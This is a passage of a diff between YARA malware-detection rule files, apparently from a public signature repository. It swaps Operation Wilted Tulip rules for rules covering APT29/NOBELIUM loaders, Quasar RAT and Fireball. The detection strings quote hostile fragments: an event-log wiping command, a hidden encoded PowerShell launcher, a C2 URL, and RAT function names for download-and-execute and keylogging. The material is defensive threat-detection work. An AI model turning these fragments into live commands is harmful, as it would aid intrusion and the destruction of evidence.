-		description = "Detects Windows eventlog cleaner used in Operation Wilted Tulip - file clrlg.bat"
+		description = "Detects malware used by APT29 / NOBELIUM"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6957c97d-2c2d-50ac-8fd5-2f299fc7b5c8"
-		date = "2017-07-23"
+		id = "b1462b4b-227f-5aeb-92ea-bda6a86831c7"
+		date = "2021-05-29"
 		modified = "2023-12-05"
-		reference = "http://www.clearskysec.com/tulip"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wilted_tulip.yar#L31-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "003f711ac6f2308f2bdc638da7c654686e7402db7b3837120168e5a99b774537"
+		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_nobelium_may21.yar#L218-L234"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "18a52f5fd71455b8564d4b485c233dd358a304bfddc5e6fb604b8e5a2a1949a3"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b33fd3420bffa92cadbe90497b3036b5816f2157100bf1d9a3b6c946108148bf"
+		hash1 = "292e5b0a12fea4ff3fc02e1f98b7a370f88152ce71fe62670dd2f5edfaab2ff8"
+		hash2 = "776014a63bf3cc7034bd5b6a9c36c75a930b59182fe232535bb7a305e539967b"
 
 	strings:
-		$s1 = "('wevtutil.exe el') DO (call :do_clear" fullword ascii
-		$s2 = "wevtutil.exe cl %1" fullword ascii
+		$op1 = { 48 03 c8 42 0f b6 04 21 88 03 0f b6 43 01 8b c8 83 e0 0f 48 83 e1 f0 48 03 c8 }
+		$op2 = { 48 03 c8 42 0f b6 04 21 88 43 01 41 0f b6 c7 8b c8 83 e0 0f 48 83 e1 f0 48 03 c8 }
+		$op3 = { 45 0f b6 43 ff 41 8b c2 99 44 88 03 41 0f b6 2b 83 e2 03 03 c2 40 88 6b 01 }
 
 	condition:
-		filesize <1KB and 1 of them
+		filesize <2200KB and all of them
 }
+import "math"
 import "pe"
 
-rule SIGNATURE_BASE_Wiltedtulip_Powershell
+rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Stageless_Loader_May21_2 : FILE
 {
 	meta:
-		description = "Detects powershell script used in Operation Wilted Tulip"
+		description = "Detects stageless loader as used by APT29 / NOBELIUM"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b6246508-a6ff-5a02-a0de-9cde139f0acc"
-		date = "2017-07-23"
+		id = "7b83d327-52fc-5401-ae35-00f6b825678a"
+		date = "2021-05-29"
 		modified = "2023-12-05"
-		reference = "http://www.clearskysec.com/tulip"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wilted_tulip.yar#L47-L60"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "57d28f7b79cc14b8bbc2d7c9b2c16ab0f94a4b160cf7cb1d4641fe1c77e06811"
+		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_nobelium_may21.yar#L236-L258"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "850f6a1ad342fd5e4bb29c7bf90a032ddd8ac9d2eac5ffcbedf43e4d04b178f5"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e5ee1f45cbfdb54b02180e158c3c1f080d89bce6a7d1fe99dd0ff09d47a36787"
+		tags = "FILE"
+		hash1 = "a4f1f09a2b9bc87de90891da6c0fca28e2f88fd67034648060cef9862af9a3bf"
+		hash2 = "c4ff632696ec6e406388e1d42421b3cd3b5f79dcb2df67e2022d961d5f5a9e78"
 
 	strings:
-		$x1 = "powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+" ascii
+		$x1 = "DLL_stageless.dll" ascii fullword
+		$s1 = "c:\\users\\devuser\\documents" ascii fullword nocase
+		$s2 = "VisualServiceComponent" ascii fullword
+		$s3 = "CheckUpdteFrameJavaCurrentVersion" ascii fullword
+		$op1 = { a3 d? 6? 04 10 ff d6 33 05 00 ?0 0? 10 68 d8 d4 00 10 57 a3 d? 6? 04 10 ff d6 33 05 00 ?0 0? 10 }
+		$op2 = { ff d6 33 05 00 ?0 0? 10 68 d8 d4 00 10 57 a3 d? 6? 04 10 ff d6 33 05 00 ?0 0? 10 68 e8 d4 00 10 }
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <900KB and 2 of them or 3 of them
 }
+import "math"
 import "pe"
 
-rule SIGNATURE_BASE_Wiltedtulip_Vminst : FILE
+rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Malware_May21_3 : FILE
 {
 	meta:
-		description = "Detects malware used in Operation Wilted Tulip"
+		description = "Detects malware used by APT29 / NOBELIUM"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5d21e515-eb7b-56ab-acc2-f09065769b2d"
-		date = "2017-07-23"
+		id = "89cb6884-4242-5b5a-b0ac-b31041dd261c"
+		date = "2021-05-29"
 		modified = "2023-12-05"
-		reference = "http://www.clearskysec.com/tulip"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wilted_tulip.yar#L62-L88"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a4559c2f4de60537827d167453751a92c0030ae6ce095a2d64df777e93d4b87a"
+		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_nobelium_may21.yar#L260-L282"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "472acd1d6daf3480de59ecd3fa038d644e339dcc979cf7e56617eadc6cb32dc5"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "930118fdf1e6fbffff579e65e1810c8d91d4067cbbce798c5401cf05d7b4c911"
+		hash1 = "2a352380d61e89c89f03f4008044241a38751284995d000c73acf9cad38b989e"
 
 	strings:
-		$x1 = "\\C++\\Trojan\\Target\\" ascii
-		$s1 = "%s\\system32\\rundll32.exe" fullword wide
-		$s2 = "$C:\\Windows\\temp\\l.tmp" fullword wide
-		$s3 = "%s\\svchost.exe" fullword wide
-		$s4 = "args[10] is %S and command is %S" fullword ascii
-		$s5 = "LOGON USER FAILD " fullword ascii
-		$s6 = "vminst.tmp" fullword wide
-		$s7 = "operator co_await" fullword ascii
-		$s8 = "?ReflectiveLoader@@YGKPAX@Z" fullword ascii
-		$s9 = "%s -k %s" fullword wide
-		$s10 = "ERROR in %S/%d" fullword ascii
+		$s1 = "Win32Project1.dll" ascii fullword
+		$op1 = { 59 c3 6a 08 68 70 5e 01 10 e8 d2 8c ff ff 8b 7d 08 8b c7 c1 f8 05 }
+		$op2 = { 8d 4d f0 e8 c4 12 00 00 68 64 5b 01 10 8d 45 f0 c7 45 f0 6c 01 01 10 50 e8 ea 13 00 00 cc }
+		$op4 = { 40 c3 8b 65 e8 e8 a6 86 ff ff cc 6a 0c 68 88 60 01 10 e8 b0 4d ff ff }
+		$xc1 = { 25 73 25 73 00 00 00 00 2F 65 2C 20 00 00 00 00
+               43 00 3A 00 5C 00 77 00 69 00 6E 00 64 00 6F 00
+               77 00 73 00 5C 00 65 00 78 00 70 00 6C 00 6F 00
+               72 00 65 00 72 00 2E 00 65 00 78 00 65 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <900KB and (1 of ($x*) or 5 of ($s*))
+		filesize <3000KB and ($xc1 or 3 of them )
 }
+import "math"
 import "pe"
 
-rule SIGNATURE_BASE_Wiltedtulip_Windows_UM_Task
+rule SIGNATURE_BASE_APT_APT29_NOBELIUM_Malware_May21_4 : FILE
 {
 	meta:
-		description = "Detects a Windows scheduled task as used in Operation Wilted Tulip"
+		description = "Detects malware used by APT29 / NOBELIUM"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d827584e-8298-56e4-8466-90950d1f286e"
-		date = "2017-07-23"
+		id = "56193475-52b4-5720-abc5-72249e2a0c37"
+		date = "2021-05-29"
 		modified = "2023-12-05"
-		reference = "http://www.clearskysec.com/tulip"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wilted_tulip.yar#L90-L107"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cfc2d231b6be798172e5d7ffc525842c7eed6d78a145c401136452c46f21e3b2"
+		reference = "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt29_nobelium_may21.yar#L284-L305"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7d5858cc6dab094d5dceab75a2002d9145537008241a08ac7bd399c9d6e6c270"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4c2fc21a4aab7686877ddd35d74a917f6156e48117920d45a3d2f21fb74fedd3"
+		tags = "FILE"
+		hash1 = "3b94cc71c325f9068105b9e7d5c9667b1de2bde85b7abc5b29ff649fd54715c4"
 
 	strings:
-		$r1 = "<Command>C:\\Windows\\syswow64\\rundll32.exe</Command>" fullword wide
-		$p1 = "<Arguments>\"C:\\Users\\public\\" wide
-		$c1 = "svchost64.swp\",checkUpdate" wide ascii
-		$c2 = "svchost64.swp,checkUpdate" wide ascii
+		$s1 = "KM.FileSystem.dll" ascii fullword
+		$op1 = { 80 3d 50 6b 04 10 00 0f 85 96 00 00 00 33 c0 40 b9 48 6b 04 10 87 01 33 db 89 5d fc }
+		$op2 = { c3 33 c0 b9 7c 6f 04 10 40 87 01 c3 8b ff 55 }
+		$op3 = { 8d 4d f4 e8 53 ff ff ff 68 d0 22 01 10 8d 45 f4 50 e8 d8 05 00 00 cc 8b 41 04 }
+		$xc1 = { 2E 64 6C 6C 00 00 00 00 41 53 4B 4F 44 00 00 00
+               53 75 63 63 65 73 73 }
 
 	condition:
-		($r1 and $p1) or 1 of ($c*)
+		uint16(0)==0x5a4d and filesize <3000KB and ($xc1 or 3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Wiltedtulip_Windowstask
+rule SIGNATURE_BASE_Quasar_RAT_1 : FILE
 {
 	meta:
-		description = "Detects hack tool used in Operation Wilted Tulip - Windows Tasks"
+		description = "Detects Quasar RAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ad8193f0-e664-50a8-ab05-38027a2e33cd"
-		date = "2017-07-23"
+		id = "36220de3-aa1a-5c34-adae-432d939c811e"
+		date = "2017-04-07"
 		modified = "2023-12-05"
-		reference = "http://www.clearskysec.com/tulip"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wilted_tulip.yar#L109-L128"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a2bbcb02f34b2da3d88772d211cc7bfb669384161eec94336cdc2474144b16ae"
+		reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_quasar_rat.yar#L10-L33"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7cceccb7c283774318f6285b482a422566f4f821eb51d564104205783401931a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c3cbe88b82cd0ea46868fb4f2e8ed226f3419fc6d4d6b5f7561e70f4cd33822c"
-		hash2 = "340cbbffbb7685133fc318fa20e4620ddf15e56c0e65d4cf1b2d606790d4425d"
-		hash3 = "b6f515b3f713b70b808fc6578232901ffdeadeb419c9c4219fbfba417bba9f01"
-		hash4 = "5046e7c28f5f2781ed7a63b0871f4a2b3065b70d62de7254491339e8fe2fa14a"
-		hash5 = "984c7e1f76c21daf214b3f7e131ceb60c14abf1b0f4066eae563e9c184372a34"
+		hash1 = "0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740"
+		hash2 = "1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec"
+		hash3 = "515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89"
+		hash4 = "f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34"
 
 	strings:
-		$x1 = "<Command>C:\\Windows\\svchost.exe</Command>" fullword wide
-		$x2 = "<Arguments>-nop -w hidden -encodedcommand" wide
-		$x3 = "-encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgA"
+		$s1 = "DoUploadAndExecute" fullword ascii
+		$s2 = "DoDownloadAndExecute" fullword ascii
+		$s3 = "DoShellExecute" fullword ascii
+		$s4 = "set_Processname" fullword ascii
+		$op1 = { 04 1e fe 02 04 16 fe 01 60 }
+		$op2 = { 00 17 03 1f 20 17 19 15 28 }
+		$op3 = { 00 04 03 69 91 1b 40 }
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <5000KB and all of ($s*) or all of ($op*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_Wiltedtulip_Tdtess : FILE
+rule SIGNATURE_BASE_Quasar_RAT_2 : FILE
 {
 	meta:
-		description = "Detects malicious service used in Operation Wilted Tulip"
+		description = "Detects Quasar RAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0ecb391b-a4f9-5362-bb65-73801ae497de"
-		date = "2017-07-23"
+		id = "0ca795c5-3631-5a99-8675-37558485f478"
+		date = "2017-04-07"
 		modified = "2023-12-05"
-		reference = "http://www.clearskysec.com/tulip"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wilted_tulip.yar#L130-L147"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ffd10e06b3a8f3054747443b863070e8726589fc795f816832dbf73c0c34e080"
+		reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_quasar_rat.yar#L35-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b113cb63b0bb75766c905dd3b327b1b2df228733622df8f7517d3daed72432a3"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3fd28b9d1f26bd0cee16a167184c9f4a22fd829454fd89349f2962548f70dc34"
+		super_rule = 1
+		hash1 = "0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740"
+		hash2 = "515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89"
+		hash3 = "f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34"
 
 	strings:
-		$x1 = "d2lubG9naW4k" fullword wide
-		$x2 = "C:\\Users\\admin\\Documents\\visual studio 2015\\Projects\\Export\\TDTESS_ShortOne\\WinService Template\\" ascii
-		$s1 = "\\WinService Template\\obj\\x64\\x64\\winlogin" ascii
-		$s2 = "winlogin.exe" fullword wide
+		$x1 = "GetKeyloggerLogsResponse" fullword ascii
+		$x2 = "get_Keylogger" fullword ascii
+		$x3 = "HandleGetKeyloggerLogsResponse" fullword ascii
+		$s1 = "DoShellExecuteResponse" fullword ascii
+		$s2 = "GetPasswordsResponse" fullword ascii
+		$s3 = "GetStartupItemsResponse" fullword ascii
+		$s4 = "<GetGenReader>b__7" fullword ascii
+		$s5 = "RunHidden" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*) or 2 of them ))
+		( uint16(0)==0x5a4d and filesize <5000KB and $x1) or ( all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Wiltedtulip_Silverlightmsi : FILE
+rule SIGNATURE_BASE_MAL_Quasarrat_May19_1 : FILE
 {
 	meta:
-		description = "Detects powershell tool call Get_AD_Users_Logon_History used in Operation Wilted Tulip"
+		description = "Detects QuasarRAT malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6430d464-b9c7-5f19-b89d-3c70f99af688"
-		date = "2017-07-23"
-		modified = "2023-12-05"
-		reference = "http://www.clearskysec.com/tulip"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wilted_tulip.yar#L149-L165"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "716db8f8e7d71c7f3deaeb9ac8e141c9bf374e5dae992e8e2623070c81089953"
+		id = "a4e82b6a-31f8-59fc-acfa-805c4594680a"
+		date = "2019-05-27"
+		modified = "2023-01-06"
+		reference = "https://blog.ensilo.com/uncovering-new-activity-by-apt10"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_quasar_rat.yar#L61-L89"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a189bce433c71d45fd7f5d7fc284fc5b35c88a7ec616dd392d0e931165263aca"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c75906dbc3078ff81092f6a799c31afc79b1dece29db696b2ecf27951a86a1b2"
+		hash1 = "0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded"
 
 	strings:
-		$x1 = ".\\Get_AD_Users_Logon_History.ps1 -MaxEvent" fullword ascii
-		$x2 = "if ((Resolve-dnsname $_.\"IP Address\" -Type PTR -TcpOnly -DnsOnly -ErrorAction \"SilentlyContinue\").Type -eq \"PTR\")" fullword ascii
-		$x3 = "$Client_Name = (Resolve-dnsname $_.\"IP Address\" -Type PTR -TcpOnly -DnsOnly).NameHost  " fullword ascii
-		$x4 = "########## Find the Computer account in AD and if not found, throw an exception ###########" fullword ascii
+		$x1 = "Quasar.Common.Messages" ascii fullword
+		$x2 = "Client.MimikatzTools" ascii fullword
+		$x3 = "Resources.powerkatz_x86.dll" ascii fullword
+		$x4 = "Uninstalling... good bye :-(" wide
+		$xc1 = { 41 00 64 00 6D 00 69 00 6E 00 00 11 73 00 63 00
+               68 00 74 00 61 00 73 00 6B 00 73 00 00 1B 2F 00
+               63 00 72 00 65 00 61 00 74 00 65 00 20 00 2F 00
+               74 00 6E 00 20 00 22 00 00 27 22 00 20 00 2F 00
+               73 }
+		$xc2 = { 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20
+               00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C
+               00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E
+               00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20
+               00 2F 00 61 00 20 00 2F 00 71 00 20 00 2F 00 66
+               00 20 00 }
 
 	condition:
-		( filesize <20KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <10000KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Wiltedtulip_Matryoshka_Injector : FILE
+rule SIGNATURE_BASE_Fireball_De_Svr : FILE
 {
 	meta:
-		description = "Detects hack tool used in Operation Wilted Tulip"
+		description = "Detects Fireball malware - file de_svr.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e4cf2a31-33c8-5db1-84ca-f63b65a0a0a3"
-		date = "2017-07-23"
+		id = "29395239-66d8-5340-b884-9b8f036cc27f"
+		date = "2017-06-02"
 		modified = "2023-12-05"
-		reference = "http://www.clearskysec.com/tulip"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wilted_tulip.yar#L167-L189"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e02d26882c85b77bd97629fce20bd027e1f5f7e28ae0c43c9ea7a4b1e5d02cd1"
+		reference = "https://goo.gl/4pTkGQ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_fireball.yar#L12-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9ac858b3ce50daac811ded4664f2a602a32d8811825733d235125fc81a488e58"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c41e97b3b22a3f0264f10af2e71e3db44e53c6633d0d690ac4d2f8f5005708ed"
-		hash2 = "b93b5d6716a4f8eee450d9f374d0294d1800784bc99c6934246570e4baffe509"
+		hash1 = "f964a4b95d5c518fd56f06044af39a146d84b801d9472e022de4c929a5b8fdcc"
 
 	strings:
-		$s1 = "Injector.dll" fullword ascii
-		$s2 = "ReflectiveLoader" fullword ascii
+		$s1 = "cmd.exe /c MD " fullword ascii
+		$s2 = "rundll32.exe \"%s\",%s" fullword wide
+		$s3 = "http://d12zpbetgs1pco.cloudfront.net/Weatherapi/shell" fullword wide
+		$s4 = "C:\\v3\\exe\\de_svr_inst.pdb" fullword ascii
+		$s5 = "Internet Connect Failed!" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and all of them ) or (pe.exports("__dec") and pe.exports("_check") and pe.exports("_dec") and pe.exports("start") and pe.exports("test"))
+		( uint16(0)==0x5a4d and filesize <3000KB and 4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Wiltedtulip_Zpp : FILE
+rule SIGNATURE_BASE_Fireball_Lancer : FILE
 {
 	meta:
-		description = "Detects hack tool used in Operation Wilted Tulip"
+		description = "Detects Fireball malware - file lancer.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7d833cb2-485e-5a26-be2f-aaebde7fdef2"
-		date = "2017-07-23"
-		modified = "2022-12-21"
-		reference = "http://www.clearskysec.com/tulip"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wilted_tulip.yar#L191-L215"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "32c91f8a02443a6f024acb3f941b7f11472e7f1517c54a3c7edc89ce88ba73e0"
+		id = "2209bcb4-74a6-5c39-962c-ccd4ce62619e"
+		date = "2017-06-02"
+		modified = "2023-12-05"
+		reference = "https://goo.gl/4pTkGQ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_fireball.yar#L31-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "74df144556121609da0820c319a86a9de0f49eeb2d4b1ed59c3a4d0c1d7788cb"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "10ec585dc1304436821a11e35473c0710e844ba18727b302c6bd7f8ebac574bb"
-		hash2 = "7d046a3ed15035ea197235980a72d133863c372cc27545af652e1b2389c23918"
-		hash3 = "6d6816e0b9c24e904bc7c5fea5951d53465c478cc159ab900d975baf8a0921cf"
+		hash1 = "7d68386554e514f38f98f24e8056c11c0a227602ed179d54ed08f2251dc9ea93"
 
 	strings:
-		$x1 = "[ERROR] Error Main -i -s -d -gt -lt -mb" fullword wide
-		$x2 = "[ERROR] Error Main -i(with.) -s -d -gt -lt -mb -o -e" fullword wide
-		$s1 = "LT Time invalid" fullword wide
-		$s2 = "doCompressInNetWorkDirectory" fullword ascii
-		$s3 = "files remaining ,total file save = " fullword wide
-		$s4 = "$ec996350-79a4-477b-87ae-2d5b9dbe20fd" fullword ascii
-		$s5 = "Destinition Directory Not Found" fullword wide
-		$s6 = "\\obj\\Release\\ZPP.pdb" ascii
+		$x1 = "\\instlsp\\Release\\Lancer.pdb" ascii
+		$x2 = "lanceruse.dat" fullword wide
+		$s1 = "Lancer.dll" fullword ascii
+		$s2 = "RunDll32.exe \"" fullword wide
+		$s3 = "Micr.dll" fullword wide
+		$s4 = "AG64.dll" fullword wide
+		$s5 = "\",Start" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <30KB and (1 of ($x*) or 3 of them )
+		( uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) or 3 of ($s*))) or (6 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Wiltedtulip_Netsrv_Netsrvs : FILE
+rule SIGNATURE_BASE_Qqbrowser : FILE
 {
 	meta:
-		description = "Detects sample from Operation Wilted Tulip"
+		description = "Not malware but suspicious browser - file QQBrowser.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4b58bb08-88da-535c-8ce5-e7113e5b7045"
-		date = "2017-07-23"
+		id = "457507c5-0411-5d72-891b-ae3e428ea2d6"
+		date = "2017-06-02"
 		modified = "2023-12-05"
-		reference = "http://www.clearskysec.com/tulip"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_wilted_tulip.yar#L217-L242"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1506d1eddd43731c00e5f01a292589b07de5055bbdd7b1f7c2d7ac7a09b8ae58"
-		score = 75
-		quality = 85
+		reference = "https://goo.gl/4pTkGQ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_fireball.yar#L53-L70"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "525d134f57aaa314bcf0676678264e518edb785970478cb31a8fb6f1c8c92263"
+		score = 50
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a062cb4364125427b54375d51e9e9afb0baeb09b05a600937f70c9d6d365f4e5"
-		hash2 = "afa563221aac89f96c383f9f9f4ef81d82c69419f124a80b7f4a8c437d83ce77"
-		hash3 = "acf24620e544f79e55fd8ae6022e040257b60b33cf474c37f2877c39fbf2308a"
-		hash4 = "bff115d5fb4fd8a395d158fb18175d1d183c8869d54624c706ee48a1180b2361"
-		hash5 = "07ab795eeb16421a50c36257e6e703188a0fef9ed87647e588d0cd2fcf56fe43"
+		hash1 = "adcf6b8aa633286cd3a2ce7c79befab207802dec0e705ed3c74c043dabfc604c"
 
 	strings:
-		$s1 = "Process %d Created" fullword ascii
-		$s2 = "%s\\system32\\rundll32.exe" fullword wide
-		$s3 = "%s\\SysWOW64\\rundll32.exe" fullword wide
-		$c1 = "slbhttps" fullword ascii
-		$c2 = "/slbhttps" fullword wide
-		$c3 = "/slbdnsk1" fullword wide
-		$c4 = "netsrv" fullword wide
-		$c5 = "/slbhttps" fullword wide
+		$s1 = "TerminateProcessWithoutDump" fullword ascii
+		$s2 = ".Downloader.dll" fullword wide
+		$s3 = "Software\\Chromium\\BrowserCrashDumpAttempts" fullword wide
+		$s4 = "QQBrowser_Broker.exe" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and ( all of ($s*) and 1 of ($c*)))
